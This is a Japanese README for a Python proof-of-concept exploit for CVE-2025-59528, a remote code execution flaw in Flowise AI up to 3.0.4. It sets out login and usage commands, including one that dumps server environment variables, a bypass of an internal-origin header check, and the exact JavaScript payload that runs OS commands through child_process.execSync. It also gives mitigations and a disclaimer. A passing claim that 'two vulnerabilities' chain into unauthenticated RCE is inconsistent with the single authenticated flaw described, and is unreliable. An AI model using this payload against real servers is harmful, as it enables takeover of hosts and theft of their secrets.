
CVE-2025-59528 の Python PoC エクスプロイト。customMCP エンドポイントと Node.js の child_process.execSync を介して、Flowise AI <= 3.0.4 で認証済み RCE を達成します。
CVE ID: CVE-2025-59528
影響を受けるソフトウェア: Flowise AI
脆弱なバージョン: <= 3.0.4
修正バージョン: 3.0.5 以降
深刻度: 重大
作者: arensballiu
日付: 2025
Flowise AI のバージョン 3.0.4 以下では、細工された JavaScript ペイロードを /api/v1/node-load-method/customMCP エンドポイントに送信することで、認証済みユーザーがホストサーバー上でリモートコード実行 (RCE) を達成できる脆弱性があります。
customMCP ノードのロードメソッドは、適切なサニタイズやサンドボックス化なしに、サーバー側で JavaScript として評価されるユーザー制御の入力を受け入れます。Node.js の child_process.execSync を利用するペイロードを注入することで、攻撃者は Flowise サーバープロセスの権限で任意のオペレーティングシステムコマンドを実行できます。
このエンドポイントでは、x-request-from: internal ヘッダーが存在することも必要です。
| エンドポイント | メソッド | 認証要否 | 目的 |
|---|---|---|---|
/api/v1/auth/login | POST | 不要 | 認証してセッションを取得 |
/api/v1/node-load-method/customMCP | POST | 必要 (セッション Cookie) | 脆弱なノードロードメソッドエンドポイント |
ファイル: CVE-2025-59528_POC.py
requests ライブラリpip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
| フラグ | ロング形式 | 必須 | 説明 |
|---|---|---|---|
-e | --email | はい | 認証済みユーザーのメールアドレス |
-i | --url | はい | Flowise インスタンスのベース URL |
-p | --password | はい | 認証済みユーザーのパスワード |
-c | --cmd | はい | サーバー上で実行する OS コマンド |
コード実行の確認:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
サーバー環境変数を取得する:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
このエクスプロイトは、次の JavaScript 式を mcpServerConfig フィールドに注入します:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') - Node.js の組み込みプロセス実行モジュールを読み込みます。execSync('<command>') - 攻撃者が指定した OS コマンドを同期的に実行します。また、x-request-from: internal ヘッダーがリクエストに付加され、これがない場合に呼び出しをブロックする内部オリジンチェックを通過します。
customMCP エンドポイントは、ユーザーが指定した入力をサニタイズやサンドボックス化なしでサーバー上の JavaScript 評価コンテキストへ直接渡します。これに process.mainModule.require を介した Node.js コアモジュール(特に child_process)への無制限アクセスが組み合わさることで、容易に悪用可能な RCE ベクターが生じます。x-request-from ヘッダーチェックは、信頼できるソースに対して検証されないため、実質的なセキュリティ境界を提供しません。
これら 2 つの脆弱性は、バージョン <= 3.0.4 の Flowise インスタンスに対して、未認証の RCE 攻撃パスとして連鎖させることができます。
vm2、分離コンテキスト、または process.mainModule へのアクセス除去)を介して、危険な Node.js モジュール(child_process、fs など)へのアクセスを制限してください。x-request-from ヘッダーは、単純な文字列チェックではなくサーバーサイドのメカニズムを通じて検証および認証してください。この概念実証は、教育および許可されたセキュリティ研究目的のみに提供されています。明示的な書面による許可なくシステムに対してこのスクリプトを使用することは、違法かつ非倫理的です。作者および貢献者は、悪用について一切の責任を負いません。